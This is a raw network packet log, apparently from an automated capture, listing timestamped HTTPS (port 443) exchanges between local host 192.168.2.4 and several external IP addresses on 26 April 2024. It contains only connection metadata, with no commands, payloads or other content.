Apr 26, 2024 09:59:54.099864006 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:54.100337029 CEST	49985	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:54.100366116 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:54.100826025 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:54.102492094 CEST	49985	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:54.102498055 CEST	49986	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:54.102571964 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:54.149034023 CEST	49985	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:54.208693981 CEST	443	49987	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:54.209475040 CEST	49987	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:54.209518909 CEST	443	49987	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:54.211111069 CEST	443	49987	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:54.211474895 CEST	49987	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:54.211769104 CEST	49987	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:54.211770058 CEST	49987	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:54.211987972 CEST	443	49987	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:54.267169952 CEST	49987	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:54.401942968 CEST	443	49988	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.402194023 CEST	49988	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.402251959 CEST	443	49988	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.403728008 CEST	443	49988	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.404066086 CEST	49988	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.404278994 CEST	49988	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.404458046 CEST	443	49988	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.459940910 CEST	49988	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.488359928 CEST	49989	443	192.168.2.4	104.21.95.100
Apr 26, 2024 09:59:54.488392115 CEST	443	49989	104.21.95.100	192.168.2.4
Apr 26, 2024 09:59:54.488518953 CEST	49989	443	192.168.2.4	104.21.95.100
Apr 26, 2024 09:59:54.488693953 CEST	49989	443	192.168.2.4	104.21.95.100
Apr 26, 2024 09:59:54.488708973 CEST	443	49989	104.21.95.100	192.168.2.4
Apr 26, 2024 09:59:54.503917933 CEST	443	49987	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:54.504148960 CEST	443	49987	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:54.504264116 CEST	49987	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:54.504825115 CEST	49987	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:54.504862070 CEST	443	49987	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:54.667785883 CEST	49990	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:54.667866945 CEST	443	49990	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:54.668132067 CEST	49990	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:54.669908047 CEST	49990	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:54.669945002 CEST	443	49990	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:54.786465883 CEST	443	49989	104.21.95.100	192.168.2.4
Apr 26, 2024 09:59:54.791039944 CEST	443	49986	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:54.791404009 CEST	443	49986	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:54.794487000 CEST	49986	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:54.800776958 CEST	49989	443	192.168.2.4	104.21.95.100
Apr 26, 2024 09:59:54.800807953 CEST	443	49989	104.21.95.100	192.168.2.4
Apr 26, 2024 09:59:54.802594900 CEST	49986	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:54.802624941 CEST	443	49986	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:54.803869009 CEST	49985	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:54.804657936 CEST	443	49989	104.21.95.100	192.168.2.4
Apr 26, 2024 09:59:54.804965019 CEST	49989	443	192.168.2.4	104.21.95.100
Apr 26, 2024 09:59:54.805366039 CEST	49989	443	192.168.2.4	104.21.95.100
Apr 26, 2024 09:59:54.805366039 CEST	49989	443	192.168.2.4	104.21.95.100
Apr 26, 2024 09:59:54.805816889 CEST	443	49989	104.21.95.100	192.168.2.4
Apr 26, 2024 09:59:54.807698965 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.807730913 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.807866096 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.808087111 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.808108091 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.848114967 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:54.853164911 CEST	49989	443	192.168.2.4	104.21.95.100
Apr 26, 2024 09:59:54.853183031 CEST	443	49989	104.21.95.100	192.168.2.4
Apr 26, 2024 09:59:54.895514011 CEST	49989	443	192.168.2.4	104.21.95.100
Apr 26, 2024 09:59:54.926696062 CEST	443	49988	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.926829100 CEST	443	49988	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.926914930 CEST	49988	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.926951885 CEST	443	49988	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.926979065 CEST	443	49988	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.934582949 CEST	49988	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.938384056 CEST	49988	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.938405037 CEST	443	49988	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.060199976 CEST	443	49990	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:55.104549885 CEST	49990	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:55.190907955 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.199593067 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.199621916 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.199892044 CEST	49990	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:55.199927092 CEST	443	49990	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:55.200948000 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.201376915 CEST	443	49990	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:55.201626062 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.201797962 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.201908112 CEST	49990	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:55.202109098 CEST	443	49990	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:55.202210903 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.202331066 CEST	49990	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:55.244138002 CEST	443	49990	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:55.244144917 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.245635986 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.245687962 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.245754004 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.245811939 CEST	49985	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:55.245824099 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.245836020 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.245863914 CEST	49985	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:55.245889902 CEST	49985	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:55.272954941 CEST	49985	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:55.272969961 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.347971916 CEST	49992	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:55.348047018 CEST	443	49992	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.348120928 CEST	49992	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:55.348522902 CEST	49992	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:55.348557949 CEST	443	49992	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.361550093 CEST	443	49990	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:55.363627911 CEST	443	49990	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:55.365185976 CEST	49990	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:55.366067886 CEST	49990	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:55.366101027 CEST	443	49990	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:55.441929102 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.442476034 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.442522049 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.442560911 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.442579985 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.442616940 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.442642927 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.442650080 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.442696095 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.442847967 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.442899942 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.442920923 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.442928076 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.442950964 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.442967892 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.567514896 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.567600012 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.567766905 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.567766905 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.567790985 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.568733931 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.568782091 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.568805933 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.568814039 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.568837881 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.568866968 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.569783926 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.569824934 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.569855928 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.569861889 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.569885015 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.569905043 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.649135113 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.649184942 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.649234056 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.649247885 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.649280071 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.649302959 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.695681095 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.695755959 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.695775986 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.695801973 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.695842028 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.695853949 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.696470976 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.696513891 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.696551085 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.696557045 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.696578026 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.696594000 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.696599960 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.697326899 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.697375059 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.697387934 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.697406054 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.697439909 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.698353052 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.698393106 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.698419094 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.698426008 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.698453903 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.699413061 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.699457884 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.699486017 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.699491978 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.699529886 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.700704098 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.700742006 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.700787067 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.700793982 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.700818062 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.701600075 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.701644897 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.701673985 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.701679945 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.701706886 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.703402996 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.703440905 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.703475952 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.703483105 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.703507900 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.735625982 CEST	443	49992	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.738643885 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.738915920 CEST	49992	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:55.738955975 CEST	443	49992	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.739481926 CEST	443	49992	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.739877939 CEST	49992	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:55.739984989 CEST	443	49992	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.740066051 CEST	49992	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:55.761657953 CEST	443	49989	104.21.95.100	192.168.2.4
Apr 26, 2024 09:59:55.761950970 CEST	443	49989	104.21.95.100	192.168.2.4
Apr 26, 2024 09:59:55.762012959 CEST	49989	443	192.168.2.4	104.21.95.100
Apr 26, 2024 09:59:55.772119045 CEST	49989	443	192.168.2.4	104.21.95.100
Apr 26, 2024 09:59:55.772141933 CEST	443	49989	104.21.95.100	192.168.2.4
Apr 26, 2024 09:59:55.784111023 CEST	443	49992	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:55.816639900 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.816730022 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.816737890 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.816767931 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.816798925 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.816824913 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.825900078 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.825943947 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.825965881 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.825974941 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.826019049 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.826037884 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.826044083 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.826184988 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:55.826237917 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.826649904 CEST	49991	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:55.826663017 CEST	443	49991	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:56.150074005 CEST	443	49992	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:56.150254011 CEST	443	49992	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:56.150307894 CEST	49992	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:56.151273012 CEST	49992	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:56.151289940 CEST	443	49992	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:56.823302984 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:56.823328018 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:56.823386908 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:56.823592901 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:56.823606968 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.208673000 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.208923101 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.208936930 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.210032940 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.210364103 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.210491896 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.210500002 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.210534096 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.257622957 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.460067034 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.460621119 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.460644960 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.460685015 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.460721016 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.460721016 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.460731030 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.460737944 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.460752010 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.460788965 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.460788965 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.460797071 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.461654902 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.461704016 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.461746931 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.461754084 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.461766005 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.461909056 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.585987091 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.586033106 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.586070061 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.586076975 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.586096048 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.586311102 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.586767912 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.586810112 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.586849928 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.586857080 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.586882114 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.586957932 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.588138103 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.588176966 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.588248968 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.588248968 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.588257074 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.589164019 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.668991089 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.669040918 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.669080019 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.669091940 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.669116020 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.669190884 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.669197083 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.712852001 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.714279890 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.714325905 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.714369059 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.714376926 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.714401007 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.714684963 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.715974092 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.716029882 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.716064930 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.716072083 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.716093063 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.716166973 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.717962980 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.718003988 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.718040943 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.718046904 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.718070984 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.718128920 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.720093966 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.720153093 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.720185995 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.720192909 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.720211983 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.720340014 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.721268892 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.721462965 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.722281933 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.722419024 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.722434998 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.722441912 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.722560883 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.722595930 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.722847939 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.723810911 CEST	49994	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:57.723828077 CEST	443	49994	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:57.824951887 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:57.824991941 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:57.825076103 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:57.825643063 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:57.825659990 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.212568045 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.212980032 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.212996960 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.213438988 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.213763952 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.213840961 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.213901043 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.213941097 CEST	443	49995	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:58.255023956 CEST	49995	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:58.620311022 CEST	443	49995	172.217.3.68	192.168.2.4
